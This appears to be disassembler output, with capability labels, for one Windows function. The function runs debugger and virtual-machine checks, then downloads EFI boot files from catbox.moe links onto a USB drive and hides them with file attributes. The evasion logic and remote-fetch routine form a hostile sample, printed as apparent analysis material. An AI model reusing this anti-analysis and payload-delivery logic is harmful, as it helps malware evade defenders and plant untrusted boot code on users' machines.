Function at 0x140001670
Capabilities:
Check for debugger via api
Check if file exists
Create directory
Enumerate processes
Get file attributes
Get system information on windows
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor r12d, r12d
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001710
mov dword [rbp + 0x40], 0x238
lea rdx, [rbp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001707
nop dword [rax]
lea rdx, [0x1400054d8]
lea rcx, [rbp + 0x6c]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov rcx, rbx
test rax, rax
jne 0x140001739
lea rdx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400016e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000175e
lea rdx, str.Debugger_detected_via_IsDebuggerPresent__._Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Debugger_process_detected._Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbp - 0x70], r12d
lea rdx, [rbp - 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x14000179e
cmp dword [rbp - 0x70], r12d
je 0x14000179e
lea rdx, str.Debugger_detected_via_CheckRemoteDebuggerPresent__._Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001290
test al, al
je 0x1400017c6
lea rdx, str.Debugger_detected_via_NtQueryInformationProcess__._Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001330
test al, al
je 0x1400017ee
lea rdx, str.Debugger_detected_via_OutputDebugString__._Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [rbp + 8], r12w
jne 0x140001878
mov eax, 0x40000000
xor ecx, ecx
cpuid
mov dword [rbp + 0x280], eax
mov dword [rbp + 0x284], ebx
mov dword [rbp + 0x288], ecx
mov dword [rbp + 0x28c], edx
mov byte [rbp + 0x28c], r12b
lea rdx, str.VMware
lea rcx, [rbp + 0x280]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001859
lea rdx, str.VirtualBox
lea rcx, [rbp + 0x280]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140001878
lea rdx, str.Running_inside_a_virtual_machine._Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x28]
call fcn.140001350
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, qword [rbp - 0x20]
jne 0x140001a34
lea rdx, str.No_USB_drives_detected._Please_manually_input_a_drive_letter__e.g.__E_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029b0
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002b90
lea rax, [rsp + 0x70]
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
cmova rax, rbx
mov rcx, qword [rbp - 0x80]
cmp byte [rcx + rax - 1], 0x5c
je 0x140001933
cmp rcx, rdx
jae 0x14000191d
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, rbx
mov word [rax + rcx], 0x5c
jmp 0x14000192a
mov r9b, 0x5c
lea rcx, [rsp + 0x70]
call fcn.140002fe0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x78]
lea rcx, [rsp + 0x70]
cmp rdx, 0xf
cmova rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001953
test al, 0x10
jne 0x140001a97
lea rdx, str.Invalid_USB_drive_path._Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400019a3
inc rdx
mov rcx, qword [rsp + 0x70]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000199e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001ec0
call fcn.1400039c8
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400019ff
mov rdx, qword [rbp - 0x20]
call fcn.140002f50
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x28]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f2b
call fcn.1400039c8
mov eax, 1
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.140003720
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rax, [rsp + 0x70]
cmp rax, rdx
je 0x140001a59
mov r8, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140001a4b
mov rdx, qword [rdx]
mov r8, qword [r8 + 0x10]
lea rcx, [rsp + 0x70]
call fcn.140002740
lea rdx, str.Detected_USB_path:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029b0
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x80]
mov rcx, rax
call fcn.140003240
lea rdx, [0x140005764]
mov rcx, rax
call fcn.1400029b0
mov rsi, qword [rbp - 0x80]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, rsi
cmp rax, 3
jb 0x140002136
lea r15, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r15, qword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
lea r14, [rsi + 3]
mov ebx, 0xf
lea rdi, [rbp - 0x68]
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp r14, rbx
jbe 0x140001b60
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x140001b27
mov rbx, r13
add rax, 0x27
mov rcx, rax
call fcn.1400038bc
test rax, rax
je 0x140001e71
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001b5c
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001b3c
mov rdi, r12
jmp 0x140001b5c
cmp rcx, 0x1000
jb 0x140001b54
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000212a
jmp 0x140001b08
call fcn.1400038bc
mov rdi, rax
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x14000577c]
mov word [rsi + rdi], ax
movzx eax, byte [0x14000577e]
mov byte [rsi + rdi + 2], al
mov byte [r14 + rdi], 0
mov r14, qword [rbp - 0x58]
mov rax, r13
sub rax, r14
cmp rax, 5
jb 0x140002124
lea r15, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova r15, qword [rbp - 0x68]
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
lea rsi, [r14 + 5]
mov ebx, 0xf
lea rdi, [rbp - 0x48]
cmp rsi, rbx
jbe 0x140001c4e
mov rbx, rsi
or rbx, 0xf
cmp rbx, r13
jbe 0x140001c0f
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400038bc
test rax, rax
je 0x140001e23
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001c4a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001c2a
mov rdi, r12
jmp 0x140001c4a
cmp rcx, 0x1000
jb 0x140001c42
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002130
jmp 0x140001bf0
call fcn.1400038bc
mov rdi, rax
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str._boot]
mov dword [rdi + r14], eax
movzx eax, byte [0x140005784]
mov byte [rdi + r14 + 4], al
mov byte [rdi + rsi], 0
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rcx, qword [rbp - 0x68]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140001d85
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001d85
lea rdx, str.Failed_to_create_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
mov rcx, rax
call fcn.140003240
lea rdx, [0x140005764]
mov rcx, rax
call fcn.1400029b0
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140001d25
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e23
call fcn.1400039c8
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140001d70
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e71
call fcn.1400039c8
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
jmp 0x140001967
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140001f32
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001f32
lea rdx, str.Failed_to_create_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x38]
mov rcx, rax
call fcn.140003240
lea rdx, [0x140005764]
mov rcx, rax
call fcn.1400029b0
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140001e2f
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400039c8
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140001e7d
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400039c8
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001ecc
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ec7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ec7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400039c8
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400019ff
mov rdx, qword [rbp - 0x20]
call fcn.140002f50
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x28]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp - 0x10]
call fcn.1400021f0
lea r8, str.amideefix64.efi
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 8]
call fcn.140002d90
nop
mov r8, rax
lea rdx, str.https:__files.catbox.moe_46f8mz.efi
lea rcx, [rbp + 0x40]
call fcn.140002ef0
nop
lea r8, str.startup.nsh
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140002d90
nop
mov r8, rax
lea rdx, str.https:__files.catbox.moe_fw8t3t.nsh
lea rcx, [rbp + 0x80]
call fcn.140002ef0
nop
lea r8, str.BOOTX64.efi
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x30]
call fcn.140002d90
nop
mov r8, rax
lea rdx, str.https:__files.catbox.moe_7e1ty3.txt
lea rcx, [rbp + 0xc0]
call fcn.140002ef0
nop
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140002200
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x10]
call fcn.140002240
nop
lea r9, [fcn.140002140]
mov edx, 0x40
mov r8d, 3
lea rcx, [rbp + 0x40]
call fcn.1400038f8
nop
lea rcx, [rsp + 0x30]
call fcn.140002410
nop
lea rcx, [rsp + 0x50]
call fcn.140002410
nop
lea rcx, [rbp + 8]
call fcn.140002410
lea rcx, [rbp - 0x10]
call fcn.140002210
mov rsi, rax
lea rcx, [rbp - 0x10]
call fcn.140002220
mov rdi, rax
cmp rax, rsi
je 0x1400020fd
lea rbx, [rax + 0x20]
mov rdx, rbx
mov rcx, rdi
call fcn.1400014a0
test al, al
je 0x1400020bf
lea rdx, str.Downloaded:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029b0
mov rcx, rax
mov rdx, rbx
call fcn.140002d70
mov rcx, rax
lea rdx, [0x140005764]
call fcn.1400029b0
mov rcx, rbx
call fcn.140002400
mov rcx, rax
mov edx, 7
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x1400020b6
lea rdx, str.Set_attributes_for:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x1400020cd
lea rdx, str.Failed_to_set_attributes_for:
jmp 0x1400020c6
lea rdx, str.Failed_to_download_file_to:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400029b0
mov rdx, rbx
mov rcx, rax
call fcn.140002d70
mov rcx, rax
lea rdx, [0x140005764]
call fcn.1400029b0
add rdi, 0x40
add rbx, 0x40
cmp rdi, rsi
jne 0x140002050
lea rdx, str.Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400029b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.140001110
nop
call fcn.1400011b0
int3